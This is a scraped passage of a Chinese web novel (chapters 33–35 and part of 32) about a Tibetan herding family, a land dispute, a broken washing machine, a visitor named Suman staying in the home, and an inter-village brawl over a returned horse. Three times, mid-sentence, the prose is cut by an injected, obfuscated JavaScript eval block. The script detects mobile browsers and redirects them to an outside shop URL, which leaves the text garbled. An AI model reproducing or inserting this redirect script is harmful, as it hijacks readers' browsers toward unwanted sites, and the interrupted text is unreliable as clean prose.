“是不影响我啊,但是影响别人啊,你这么做不行的。你方便了自己,麻烦了别人,而且也不是一个人,是好多人啊。只要是从你们家门前走过的人,都会受影响的。” 白玛妈妈没有见识,一个妇女,就是认这个死理。 洛绒表哥也不让,他就是想要那么大的一个院子。 “你往后画一点,也够用啦。不要为了那一点点,让别人难走嘛。” 白玛妈妈苦口婆心的想说服洛绒表哥。 “姑姑,地空着也是空着,我怎么就不能画,不能因为他们要多走远一点,我就不做院子了吧。” “你做啊。只是叫你做小一点嘛,你又不养马,你现在画的院子比我家的还大,没有必要嘛。” 洛绒表哥还是不想让,最后还急了眼,看在是姑姑的份上,就不再多说了。 但是白玛妈妈却倔强的很,嚷着要去找村长说理去。 “姑姑,你是我姑姑,你哪有这样的,还去村长那里告我的状。这跟你又没有关系。” 白玛妈妈生气的回到家,跟白玛抱怨。 “人怎么可以这么自私呢。我一定要去村长那里说去。” “阿妈,表哥是我们家亲戚,又不影响你走路,你莫管了嘛,其他人都不说,你还跑去说,这样不好吧?” 白玛不理解,阿妈平日里各种随和与不争,总是宁愿自己吃亏,到这事上,怎么这么认真了起来。 竟然还生了那么大的气。一个存在感那么低的人,竟然还要去出头。 “我反正跟他说了,给他一天的时间,到明天还没把线画回去,我就去找村长。” 白玛妈妈给洛绒表哥下了一天的通牒令,洛绒表哥十分的无奈,别人都没意见,有意见的竟然是不受影响的自己的姑姑。 白玛把马放了出来,有些在院子里吃草,有些跑到了山上,到了傍晚马儿会自己下山回家,等在院门口,等白玛给它们开门。 马儿识途,也识家,即便是才买回来没多久的马,也很快就会认这个新家。这是一件挺神奇的事情。 外面阳光很好,白玛妈妈把她那台买炉子送的白色老式双缸洗衣机,搬到了院子里,接上电,开始了洗衣服。 这种老式洗衣机很便宜,重量又很轻,很容易搬运。 所以每次要洗衣服的时候就会搬出来,在大大的草地上,太阳下,辛勤的工作,工作完又会被搬进杂物房放着。 因为没有水,所以每次都是一桶一桶的水往里倒,在农村,这种双缸洗衣机是最受欢迎的。 梅朵今天也从学校回来过周末了,帮着白玛妈妈在院子里收拾,降措跟着村上的小伙伴们去玩小推车去了。 白玛一边收拾着马房,一边听阿妈唠叨。 他在想明天,如果表哥还是不听劝,阿妈是不是真的会跑到村长那里去告状。毕竟他们是亲戚,又是邻居,闹缰了真的不好。 快到中午的时候,梅朵跑进屋子里跟白玛妈妈说:“阿妈!马把洗衣机踢坏了!洗衣机破啦!” “啊?” 白玛妈妈迅速跑了出来,看见摆在太阳底下院子中间的白色双缸洗衣机,一侧破了个大洞,正哗哗的往外流水,还有一件衣服被水冲了半截出来。 白玛妈妈转而哈哈大笑了起来:“哎哟!这个哪个马脾气这么大哦!把我的洗衣机都踢破了。” “阿妈!你还笑,衣服洗不了啦!” 家里没有洗衣机,阿妈就要自己去前面的公用水龙头那里手洗。 梅朵不想妈妈那么辛苦,开始一件一件的把洗衣机里的衣服捞出来,装进大盆里。 “那有啥子办法嘛!踢都踢完了,破了就用不了了嘛!” 白玛妈妈的乐观,又一次触动了白玛。 已经发生的事情就莫要去执着了嘛!就顺其自然的接受它,然后该干嘛就还干嘛,又有什么大不了的呢。 对啊,发生了也没法再改变了嘛,干嘛还要多一次的徒增烦恼呢。 白玛心想:阿妈“放下”的可真快。如果姐姐也能像阿妈一样就好了。 白玛妈妈接过梅朵手里的盆,直接挺着腰往院子外边走去,回头嘱咐了白玛一句: “白玛,你去县上看看,有没有便宜的洗衣机,再带一个回来。到了冬天没有洗衣机是不得行的。” 现在夏天还好,可以自己手洗,到了冬天,那水冻的比雪还冰,断断是无法下手去洗的。 哪怕仅仅下水一分钟,手就木的要断掉一样。 院子里流出来的那滩水很快就渗了下去,最后被太阳晒的变成了一个浅浅的印子。- - 下午的时候,白玛妈妈去了大舅舅家,还是说洛绒表哥圈院子的事。 “那个,他都分出家去了,我说也不管用了啊。” 大舅舅好像不太想管这个事,毕竟他也希望自己的儿子院子能大一些,日子能过的好一些。 当初洛绒表哥结婚分家的时候,因为家里有十个孩子,所以他这个做爸爸的,就没有给他们多少东西,现在也没有理由去阻止他们过更好的生活。 “你也不能不讲道理嘛,你是他们阿爸,你肯定要说一下他们的嘛。你不说,我明天就去找村长说去了。最好还是不要闹到村长那里嘛,我们自己能解决的,就自己解决嘛。” 白玛妈妈又一轮的对大舅舅苦口婆心,大舅舅面露难色,并没有要去洛绒表哥家里说的意思。 奶奶看了看他们,也没有作声。但是奶奶肯定是支持白玛妈妈的,可是住在大舅舅家,说太多也不太好。 奶奶已经九十岁了,也没几年活了,她早早就把自己的七万块私房钱偷偷给了白玛妈妈保管。 这是她最可怜的女儿,也是对她最孝顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733472|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女儿,她最放心不下的就是白玛妈妈。 最后白玛妈妈还是不高兴的回来了。 白玛妈妈从大舅舅家回来,白玛正准备去县上买洗衣机,顺便把那台被马踢破了的洗衣机拉到了村口。 每周三都会有垃圾车过来收垃圾,他们会把家里的垃圾集中放在村口的大垃圾桶里。 高原上,最在意环境的保护,大家都不会乱扔垃圾。 定期村长还会组织大家去山上捡垃圾,每个人背着一个大大的蛇皮袋,沿着山脉走上一天,把垃圾都带下山来,等到周三垃圾车来的时候,就全部都拉走了。 山上的垃圾大多还都是游客们留下的,他们没有环境保护的概念,因为这里不是他们的家乡。 白玛在县上转了许久,最后还是选了一台最大容量的双缸洗衣机。阿妈说就还买这种,因为力气大,衣服洗的干净。 高原上因为气候的原因,还有大家养马养牛的辛苦,大家的衣服都是风尘仆仆而又脏兮兮的,一台力气大,洗的干净的洗衣机,非常重要。 他们不需要华丽,只需要便宜,和实用。 这台新洗衣机花了六百块钱,若是容量小一点的十升的只要五百块,但是白玛还是选了最大十二升的。 家里那台赠品洗衣机容量太小了,洗个被子都洗不下。阿妈已经不止一次念叨过,洛绒表嫂家新买的洗衣机又大又能洗被单。 白玛将洗衣机扛到车上的后斗里,快快乐乐的把它拉回了家。 谁说坏事就一定是坏事,洗衣机被马踢破了,竟然成了好事。 阿妈完成了心愿,有了自己想要的大容量的洗衣机,白玛也完成了阿妈的心愿。 最后都变成了好事。 凡事不执着,最后都会变成心里的好事。 至于钱嘛,赚不完的,也花不完的。 白玛妈妈从来不吝啬钱。 别人家的孩子在自己家里,父母不舍得花钱。那些吃不到的零食,白玛妈妈总是大方的给他们买,所以他们都特别喜欢到白玛家里来玩。 白玛妈妈嘴里总是说的一句话: “哎哟!你看他们那么省,也没见比我们富到哪里去嘛!我们该吃吃该花花,也没难过到哪里去嘛!开心最重要嘛!” 用汉地的话来说,白玛妈妈就是彻底的躺平派。她用自己小小的付出,默默的温暖着身边的人。 但是,白玛妈妈却很少给自己花钱。 每次去兰城看病,她都是住一个床位每天二十元的家庭旅馆。但她觉得这样就已经可以了,没必要住太贵的酒店。 钱花在别人身上值得,花在自己身上就不值得了。 白玛心疼阿妈,也认可阿妈,因为他们一家,确实过的很幸福呀。 后天阿妈就要跟姑姑去兰城复查看病了,大约又是要走上一周的时间。 白玛妈妈不识字,每次都是由住在县上的姑姑陪伴,她们每年都要去兰城复查两次。 白玛一次都没出去过,之前是因为年纪小,现在是因为他一个大男孩,跟着阿妈外出不方便,阿妈更愿意跟姑姑一起出去。 白玛把新买回来的双缸洗衣机,小心的摆进了杂物房。 白玛妈妈过来看了,很是满意,妹妹也高兴,说以后由她来负责洗衣服。 33. 第33章 一大早白玛妈妈在院子里探头张望,看洛绒表哥家里有没有什么动静,最后等到中午,还是换上干净衣裳去了村长家里。 “村长,你要管管,不然地越来越少了,路也越来越少了,冬天多走一段路,都是受罪呢。” 白玛妈妈坐在村长家里,认真的说起了这件事。 村长也很纳闷:“你们不是亲戚嘛!其他人都没意见,你怎么跑来说这个嘛。” 不是他不想管,是这个事情,并没有那么重要。 若是说的人多了,他可能还是要出面管一管的,可如今只有白玛妈妈一个人有意见,他也不知道要不要为这个小事得罪洛绒那边。 而且,他家的孩子,将来还想跟着洛绒学泥瓦匠呢。跟着他做活,每个月都能收入万八千的,比他们去挖虫草赚的多多了。 当初洛绒表哥也说要带白玛去学的,但是白玛的心思还是在养马、卖马上,最后没有去。 何况,他们是亲戚,今天吵架,明天又和好了。而他这个村长,也不想去当这个坏人,大家和和气气的多好。 “跟亲戚没关系,我就是说这个道理。不能影响别人嘛。” 村长拗不过白玛妈妈,叼着烟,皱着眉,答应过去一趟,看看什么情况再说。 白玛妈妈领着村长往洛绒表哥家里走,在村长家不远处盯着的洛绒表哥家的孩子,也迅速跑回了家。 等村长走近的时候,洛绒表哥已经在改那个线了。他留出了那条路,往回画了画,那条路现在正好就在他家院子的门前。 “这不是挺好的嘛!你以后走路也方便。” 出门就是路,而且是大家都能走的路,你好我好大家好。 “哎呀!谁不想院子大一点嘛!但是姑姑你说的也对,我也不想惹事,村长只要让我建院子就行了。” 这些草地没有人用,想围就围,但是总的说来,还是公家的地,若是公家一句话,可能什么都没有了。 所以,洛绒表哥还是妥协了。 他没想到,姑姑竟然真的为了一条与她不相干的路,去找村长告状。 白玛妈妈完成了这件事,就开始给姑姑打电话,准备明天上兰城的事。 她们也没什么要收拾的,不过就是带一个小包包,再带上一大摞的病例、检查单、化验单、报告单这些,还有吃过的药的各种包装。 因为他们不懂,所以只能什么都带上,医生要看什么,就给什么,反正也说不清楚。 白玛跑到县上找苏曼,想问问她愿不愿意住到他家去。 一来可以省下昂贵的酒店费,二来阿妈走了,家里没人,他又要开始跟着村上割草,可能没有那么多时间陪苏曼了。 “姐姐,我把阿妈的房间收拾出来,给你换干净的床单,你愿意住到我家里去吗?你这个假日酒店太贵了。” 苏曼对这个安排有些吃惊,她从未想过自己要住到家庭旅馆的这种地步。 不过,这是白玛家,一个很温馨的家。她到是有些心动,但是又怕不习惯。 “嗯......这样会不会不好?那每天吃什么?我可不会做饭呀!” 村里没有县上方便,在县上还能通过酒店叫个外卖什么的,县上没有什么外卖骑手,叫外卖都是依赖酒店的,要么就是自己出去吃。 318国道上有各种各样的馆子,想吃什么就吃什么。 苏曼想起了白玛家里炉子上的土豆和青菜,觉得吃饭可能是个大问题。 “没事的,我们之前都是每天去大舅舅家吃饭的。以后我可以每天去县上给你把饭买回来,骑摩托车也快。你不用担心的。” 这样就是白玛会辛苦一些,但是苏曼却省了酒店费,和每天可以和白玛在一起。 住在村上,应该会有意思很多吧。住在白玛家,深入当地牧民的生活,听起来还挺不错。 而且,也不过就是一周的时间,一周后习不习惯都会搬回酒店住。 “那我每天给你加一百吧。就当我的饭费。” 苏曼很大方,因为她不想让白玛吃亏。 “哪要那么多,我花多少就算多少嘛。” “不行不行,咱们两个人的都算在一起,差不多了。你弟弟去舅舅家吃没问题的,小孩子我确实搞不太来。” 苏曼算了下,一天省了五百块钱的房费,然后一天吃个一百块根本不算什么,她自己在县城每天也要吃。 高原上的牛肉都很贵,青菜也不便宜,光从兰城运输到巴龙县,成本就不低。 何况她住在白玛家,白玛也没有说要收她的住宿费。 “就这么定了吧。明天你来接我。” “行,姐姐。那我先走了,阿妈明天要走了,今天家里有点忙。” “没事,你去吧。” 白玛高兴的跨上摩托车,等着明天阿妈走了,就过来接苏曼去他家住。 至于村里人怎么说,德西家怎么看,他才不在乎呢。 白玛妈妈也没有意见,这样白玛就能有更多的时间呆在村子里做事了。 村上的割草活动每天是必须参加的,如果不参加的话,还要扣钱呢。 不但要扣钱,而且村上集体割回来的草,他们家也没有资格分。 分不到草,冬天的时候马儿就没有草吃,就要自己花钱去买草,一斤草两块五,一拖拉机的草,最低都要一千块呢。 - 白玛约好了去兰城的车子,又将阿妈送到了县上姑姑家,今天妹妹也回学校了。 赶在十二点前,白玛去酒店接上苏曼。 像第一天那样,苏曼推着她的银色日默瓦行李箱,穿着红色的羽绒服,只不过这次不是走进酒店,而是走出酒店。 白玛将买好的外卖,放到了后座,苏曼提了过来:“别,一会儿洒了怎么办。” 白玛“嘿嘿”的笑着,他还真没想到,苏曼真的愿意住到他那个破家里去。 他把阿妈的房间还特意重新收拾了一下,把堆在床尾的一摞棉被,给她垫了上去,又把妹妹的被子盖上了一层。 白玛生怕晚上苏曼睡的冷,家里不比高档酒店,也没有暖气。 “我跟大舅舅说好了,弟弟去他们家睡。妹妹下周末回来阿妈也应该差不多回来了。” “啊?那你弟弟平时睡哪里?” “平时和我阿妈睡呀!妹妹睡床边,一张很小的床,是请一个阿克帮我们打的小木床。” “哦......” 上次去白玛家里,苏曼只知道厅里很大、很空,两围长条桌,和长凳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738017|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上白玛就睡在那个厅里的长凳上。 而白玛妈妈的房间她未曾见过,这次应该可以看到白玛家的全貌了。 可是听白玛这么一说,白玛妈妈的房间应该很小,而且他们家卧室只有一间。 苏曼不太理解,他们为什么做那么大的客厅,宁愿让男孩子睡在客厅里,都不多做一间卧室。 直到进了白玛妈妈的卧室,苏曼才知道,原来还是有另外一间小房间的。只不过被做成了佛堂,案子上放了许多一元钱纸币。 白玛说他每次做什么重要的事情之前,都会在案台上放上一元钱,然后祈求保佑能顺顺利利的。 白玛还说:钱不在多,在心意。毕竟佛祖是不需要你的钱的。所以才会有一元一元的纸币。 苏曼想起寺庙门口有专门给人兑换一元纸币的人。 你可以用十元钱换成十张一元的纸币,然后在庙里的每个佛菩萨前都放上一张,这样你就可以供十个菩萨了。 而且若是你没有零钱,你也可以直接放上十元,然后从供台上的那堆一元纸币中,取走九元。 这些都是被允许的。 啊,真是很好啊! 白玛对于自己睡在客厅里的长凳上这件事,是十分欢喜的。 他说窝着睡很舒服,很有安全感。或许睡大床,他还睡不踏实呢。 “白玛,那你是不是没有睡过大床啊?”苏曼打趣白玛, “当然不是啦。我们兄弟去住酒店不就是大床嘛,不过跟姐姐你房间里的那个大床还是没法比的。” 他说的是一米二的那种标间大床。 白玛睡觉的长凳大概也就是宽一米的样子,但是一长条,可以住好多人。 有时候他的兄弟来家里过夜,也就是那样跟他隔开一小段,摆上一床被子,就可以那么睡了。 好像他们睡哪里都可以,哪怕是挖虫草的时候,也不过是垫个地垫就那么睡在地上。 真的是十分艰苦。但是他们,却不以为然的,习以为常。 可能,这就是真正的高原牧民吧。 参观完白玛的家,两个人开始吃起了外卖。白玛不停往苏曼碗里夹菜: “姐姐,你多吃点,阿妈叫我照顾好你。” 苏曼抬起头,看着埋头吃饭的白玛。 他宽宽的肩膀,垂下的长发,还有那张轮廓立体的脸,忽然觉得越看越好看,越看越温暖。 仿佛自己已经依赖上眼前的这个人了。 和他在一起,每一处,都很舒心。 “姐姐,一会儿吃完饭,我就要去割草了。你可以在家玩,或者在村上逛逛。也可以去看我们割草。都可以的。家里不锁也没事的。” “好的。那我去看你们割草吧。” 苏曼肯定是没有见过割草的,而且还是集体割草。 这会不会像是以前老一辈的那个年代一样,公社活动,集体活动,割麦子、插秧的那种壮观景象。 虽然她也只是在电视剧里见过,但是今天或许就有机会回到旧时代,见识见识了。 中午的屋子里被太阳晒的很温暖,炉子还没有生火,小降措也不在家。 旧木窗棱上扑棱着小蝴蝶,它也歇在那里晒太阳,享受着,它只有短短几天的一生。 34. 第34章 白玛吃饱饭,就去了舅舅家借割草机。 这种割草机特别重,挂在肩上,用腰顶着,长长的一根伸出去,顶端是转动的锋利的刀片。 使用割草机的难度不在于割草技巧,而是对腰部力量的持续需求,往往割上一整天,腰就累的直不起来了,肩膀也被勒的不像样子。 因为那个割草机,实在是太重了。而且一直用两只手端着,手臂也是极其累的。 当然,他们也不是一直割个不停,累了大家还会围坐一圈,吃吃零食,喝些饮料,但人是必须一天都在那里的,不可以缺席。 今天正好是割草的第一天,大家兴致都很高。 每个家里都需要派一个人来参加,而白玛家,无论村上有什么事情,包括村里的开会,传达事情,都是需要他去的。 他是目前家里唯一的劳动力。 苏曼没有直接跟着白玛过去,而是自己先在村上转了转,今天村里的妇女们也都没事出来走走,感觉割草也是一件令人兴奋的事情。 苏曼见到了德西。 她坐在自家的门前。 德西看苏曼悠闲在村上逛,却不见白玛跟着,也是好奇。 “姐姐,你怎么来了。” 她主动寻苏曼说话,苏曼顿了顿,停下了脚步:“啊,我随便走走。” “白玛呢?” “割草去了。” 苏曼觉得德西依然是咄咄逼人的样子,虽然嘴上跟她像是在闲聊,但是言语中却是充满了客气的敌意。 “白玛妈妈是去兰城了吧?” 苏曼想走,但是德西还在继续问,并没有想让她走的意思。 她抓不到白玛,想抓住苏曼,获得更多的消息,或者一些白玛身上的事。 “是的呢。” 苏曼赶紧走开,离开德西家的门前,原来这就是德西家。 她家的房子看着比白玛家要好。也是,白玛妈妈能做什么呢,能把房子盖起来,给他们三个娃娃一个遮风挡雨的地方就已经不错了。 她根本不会在意房子的好坏,家里即便是有富裕的钱,也不会花在房子上。 白玛妈妈或许存下了不少钱。 因为白玛每次有什么事情的时候,白玛妈妈总能拿出钱来支持他。 从小到大,从来没有让白玛活的难堪过。 据白玛说,小时候他比别人更早拥有自己的自行车。 他应该是同龄孩子中第一个拥有自行车的人。而且还是那种很漂亮的长的像山地车一样的自行车。 那时候的他,还没有自行车高呢。 妈妈永远支撑着他,作为一个受人尊敬的男子汉一样生活在村子里。 苏曼把整个村子都走了一圈,村子很大,不,是地很大。因为每个房子之间,都会隔着大大的一片草地,或者大大的一个院子。 最后苏曼来到了草场,他们割草的地方,但是她却不好意思走近。 因为那里,全部都是村里的青壮年。或者说,年轻人更多一些。 他们可能平日里没什么事做,不像白玛这么忙,或许除了谈恋爱,就是在县上玩。 但是村上有活动或者需要做事的时候,他们的父母就会把他们安排到这里来,充当家里的一个劳力,完成村里的安排。 苏曼站在远处,看着他们顶着腰,扶着割草机的手柄,左右左右的来回摆动,那些长的高高的草,就一片一片的倒下。 白玛站在人群中特别显眼。 他的个子在村子里算是比较高了。苏曼看了一下,这一片有十几个人,和白玛身高一样的人,大概也就三四个人。 “白玛!那是你的姐姐不?” 有人发现了苏曼,苏曼有些不好意思了起来。她穿着大红色的羽绒服,确实有些显眼。 她站在那里走也不是,打招呼也不是。 白玛抬起头来,看见了苏曼,放下握着割草机的手,割草机就那样吊在了他的肩膀上。 他朝苏曼挥挥手,示意她可以过来看。 苏曼摆摆手,用只能自己听到的声音说:“不去了不去了。” 白玛呲着牙笑着,旁边又是一群小伙子们起哄的声音。 “白玛,你姐姐还会害羞索?比我们这边的人还害羞呢。” 白玛没有马上继续割草,而是站在那里点了根烟,笑着看着苏曼。 “你们这么多男人在这里,肯定会害羞的嘛。怕你们把她吃掉了嘛。” 又有人起哄:“白玛,你姐姐长的那么漂亮,你就没有动过心索?” 白玛嘟着嘴吐了一口烟,想起了那晚跳的让自己窒息的心脏。 那算不算动心呢。 白玛就那样站在那里,抽完了一整根烟,远远的站着,陪着远处的苏曼。 苏曼也只好站在原地很不自在的看了他们一会儿。 等白玛抽完烟,苏曼招招手,向他示意,她要回去了。 白玛也招招手,扶起割草机,又继续埋头割起了草来。 待到傍晚,白玛把割草机还回了舅舅家,赶紧回了家。 苏曼正在研究屋里的那个炉子,怎么生火,怎么热中午的剩菜。 他们就这样,中午白玛去县上买外卖回来,然后刚好两个人可以吃两顿。 白玛其实是可以跟弟弟一起去大舅舅家吃的,但是他为了陪苏曼,就跟苏曼在家一起吃饭。 并且,苏曼给的每日一百元,也是完全够的。 “姐姐,你在做什么?” 看见苏曼围着炉子转来转去,却无从下手的样子,白玛笑了起来。 “哎呀,我想生炉子热饭嘛。想着你回来就可以有饭吃了嘛。” 此刻的苏曼,像个小孩子一样,不再像个大人了。 她笑的很透彻,很天真,似乎从来没有这么轻松过。 “姐姐,等我来。你不急嘛。我没那么快饿的。” 在高原上,他们其实每天晚上吃饭都很晚,因为天暗的也晚,基本都是要到晚上八点钟天黑了以后甚至九、十点钟才开始吃晚饭。 所以苏曼完全可以等白玛回来了再弄晚饭都不迟。 白玛走到炉子面前蹲下,看了看炉子里的状况,然后带着苏曼来到了他的杂物房。 说是个杂物房,其实也不是,里面堆满了草料,还有一个一个肥料袋装好的干牛粪,靠在墙的一边。 “姐姐,你看。我们这里都是烧牛粪的。炉子里没有多少牛粪了,就来这里拿一些。啊!不脏的,牛吃的都是青草,牛粪也是带有青草香气的。” 说着白玛用手取了一块,掰开给苏曼看,又凑到了苏曼的鼻子跟前。 苏曼身子往后仰了仰,但果然没有闻到臭味。 “真的不臭哎!” 苏曼时不时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742152|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊奇的样子,叫白玛看的,一直咧着嘴笑着。 两个人用一个簸箕装了一些牛粪,带到客厅,白玛将它们都塞进了炉子里。 然后用一些干草引火,炉子被生了起来,牛粪被燃烧的味道果然没有臭味,真的是十分神奇。 炉子里的热气随着那根长长的不锈钢管道,一直散向屋内各处,而燃烧的烟气,又顺着管道排到了屋外。 “这个炉子好厉害哦!还能取暖呢。有点像北方的暖气片啊,只不过暖气片里面是热水,你这个里面是热气。” 苏曼又是一阵惊奇。 她觉得住在牧民家里太有意思了,住在白玛家里太有意思了,有白玛陪着,做这些好玩的事情。 “对的呢。我们冬天屋子里也很暖和的呢。就是因为有这个炉子。这个炉子不便宜呢,买一个也要好几千块钱呢!” 苏曼这些日子下来,觉得高原上的东西真的是贵。 衣服动不动就是几千,甚至一两三万,一个毡帽都要两三千,随便一个炉子也要好几千。 当然他们的衣服、毡帽,都是纯羊毛手工做的,当然很贵,可是他们就是认这些,也愿意为这些买单。 但是他们却不舍得买家电,家里的电视机都是小小的,洗衣机都是几百块的,汽车都是去兰城买二手的,两三万块、一两万块就能买一辆小汽车。 甚至花四五万块钱买一辆带斗的小货车来拉货,都是比较贵的支出了。 而且买马,更是舍得。 两地的消费观真是不同。他们的金银首饰都是要越大越好,有富裕的钱,就会去打一条粗粗的金项链。 或许牧民一代一代的迁徙生活,决定了他们会把财富集中在金子上,这样就可以方便随时带走。 而房子车子那些,却不是那么容易带走的东西,是属于消耗品。 “白玛,那你晚上睡在这里暖和哦!”苏曼又打趣着白玛, “对啊,我晚上睡这里可好呢。房间里冷冰冰的,没有我这里舒服。” 白玛一直对自己睡在客厅的长凳上很满意。 但是有一段时间,他也想学洛绒表哥,搬到马房去住,和他心爱的马儿们在一起。 他想在马房里面的边上沏上一间小屋,摆上一张小床,然后墙上都挂满他的笼头、马鞍、马毯那些他每天爱不释手的心爱之物。 不过还是被阿妈打断了。 白玛妈妈说:“等你结婚的时候嘛,你要是盖不到一个房子,你那个时候再住到马房去嘛。” 当然,这也是白玛妈妈揶揄白玛,取笑他放着暖暖的屋子不住,非要住到冰冷的马房去。 炉子生好,白玛把饭菜热好,两个人美美的又吃了晚饭,白玛还特意给苏曼又烧了热水,泡了甜甜的奶茶。 然后两个人一起,东倒西歪的靠在毛茸茸的长凳上,烤着炉火,各自玩着各自的手机。 昏黄的灯光照着两个人,在这个温暖的屋子里,等待黑夜的降临。 两人默不作声的,在同一个空间里,数着自己的呼吸。手机里的声音传出来,却又那么安静。 “姐姐,你要是困了的话,你就说哈。不用非要在这里陪着我的。我反正一直是厅长,想什么时候睡就什么时候睡的。” “啊,好的,没事。厅里暖和呢。我现在还不困。” 房间里又暗又冰凉,厅里又暖又温馨。 35. 第35章 第二天白玛还是去割草,但是他把家里汽车的钥匙给了苏曼,如果苏曼觉得在村上没意思,便可以自己驾车去她想去的任何地方。 这真是太方便了。 但是没有白玛陪着,苏曼却哪里都不太想去。她可以坐在院子里,晒一天的太阳,等白玛回来,一起吃午饭。 不过今天苏曼还是自己开车去了县上,买回了他们两个人一天的饭菜。 顺便又去逛了下白玛说的那个市场,里面有各种各样便宜的货品,和各种各样苏曼用不到的昂贵的服饰。 比如说,羊毛毡帽,苏曼就买了一顶。 花了两千元,她看不出好坏,这个价格都可以买奢侈品大牌了,对她来说,属实好像没太必要。 但是她还是买了。 苏曼戴着羊毛毡帽,美美的回了村子。 白玛把玩着苏曼的帽子。 “嗯,还不错,这个价格也还行,还有更贵的。不过姐姐,你这几天正好可以戴上了。” “我还有些不好意思戴呢。” “这有什么,我们这边的人都是这么戴的,没人会觉得奇怪的,你习惯习惯就好了。” 戴上这顶帽子,苏曼好像越来越像个高原人了,她还差一套当地的服饰,白玛想,姐姐穿上那一定很美。 下午白玛继续去草场割草,苏曼准备睡个午觉,旅行的日子,随着住到白玛家里来,似乎节奏变慢了,她好像可以浪费的去享受日光了。 这里最不缺的就是阳光啊。 但是她还是被吵闹声叫醒了。 村上来了一堆人,直冲大舅舅家。 原来,大舅舅前些日子卖了一匹马,对方把马牵走了好几日,却迟迟没有按约定的日子给钱,最后竟然还把马送了回来,说不要了。 这可是不被允许的。 这是一个信用社会,虽然没有合同,但是约定就是合同,如果扯皮,那就相当于是毁约了。 高原汉子也都不是好欺负的性格,这种情况下,谁也不会相让。这不是钱的事,是面子的问题,是信用被践踏的问题。 这样的扯皮纠纷如果闹大了,就会引出两个家族的对战。 今天就是这样的。 “白玛!你快回去,你大舅舅家来了好多人了。说是要退马。” “什么?!退马?!” 这种事怎么能忍! 草场上的小伙子们都放下了肩上的割草机,一个个都蹦跳着出了草场,热血的奔向白玛舅舅家。 整个村子里,多少都是沾亲带故的。大舅舅家出事了,那基本大半个村子里的青壮年就都会站出来,迎接这场战争。 他们从来没有怕过。 两伙人都站在大舅舅家院子的门口两边。 在电话上沟通了几日无果,今日他们直接带着马,来到了村上,若是不收回马,那可能就是一场肉搏战了。 “你们讲不讲道理!这以后还怎么做生意?!” 大舅舅和那个买马的大叔先是吵了起来。然后就是一群人的吵闹声,谁也不惧谁的架势。 白玛在人群中见到了次仁,他站在最后面。 可能也是怕遇见白玛,两个村互相认识的人太多了,但是打起架来,那也还是谁都不认谁的。 一切以本族利益为重,一切以胜利为重。 他们互相看了一眼,还向上仰了仰头,算是打过招呼了。 买马大叔也不甘示弱:“什么讲道理,没看好嘛。总该有个几天观察期撒。” 说实话,草原上卖马的人多了去了,也从没有观察期这么一说。除非是双方提前讲好的,不然一律都算是违约。 买定离手,就是规矩。 “你这说的什么话!你懂不懂规矩!” 白玛站了出来,他个子高,气势足。这个时候,他肯定是要站在前面的,更何况这还是他的亲舅舅。 当然他的表哥表弟,也都站出来了,但是论大场面,还得是白玛。 他这一句“你懂不懂规矩”惹怒了对方,对方的小伙子们可不干了。 “什么规矩!规矩是人定的,我们现在就是要退马!” 这边怒气值在飙升,白玛先是冲上去搡了对面说话的那个小伙,搡完就是几个人一起上,然后一锅粥似的,两边人马就乱捶在了一起。 一场群架,就这么展开了。 白玛和次仁尽量各打各的,不去交手。 只能说,他们的群架只有“凶狠”两个字,招招都是最莽,没有什么留手一说。留手这种事,不符合他们的性子。 最后,两边都是头破血流,还好,没人敢动刀子。毕竟光天化日的,证人又这么多。要是晚上,那可就不好说了。 这事村长来了,也无济于事。 直到架打完了,那边才瞟了眼一旁怒喊无效的村长,然后带着人气哼哼的走了。 马是被留下了,但是这事没完。留不留的,钱都必须要给! 然后大家又左一句右一句的对着村长嚷嚷。 “我们没有错!是他们找上门来的!自己要退马,还有脸打到我们村里来,我们的脸不要了嘛!” “对,就该打!找上门来的怎么不该打!” “人都来了,怎么可能不打嘛!” “反正我们没有错就是了。错的是他们。” 最后白玛给双方定了性,错误在对方,他们是被逼出手的一方。 村长看着打的血呲呼啦的这些小伙子们,又看了看白玛的大舅舅,大舅舅站在一旁刚点上烟,这事只能村长出面去交涉了。 事情已经大到无法收场了,再不解决,后面还是各种打。 一般情况下,两个村的纠纷,会由两个村的领导协调,然后双方家族再坐下来一起谈判。 村长就相当于是判官。 这也很原始。 村长冲着大家吼了一句:“你们不要再自己打了。等我去找他们村长说。” 小伙子们都散了,该继续割草的割草,该回家包扎的包扎。 不过这种伤,对他们来说都是小意思。哪个小伙子身上没有几道疤。 不是打架留的,就是骑马留的,不是骑马留的,就是干活留的。 白玛也回了家,老远就看见苏曼倚在院门口,张望着。他顿了顿,又继续往前走。 “白玛,你也打架了?你怎么了?怎么还流血了呢!” 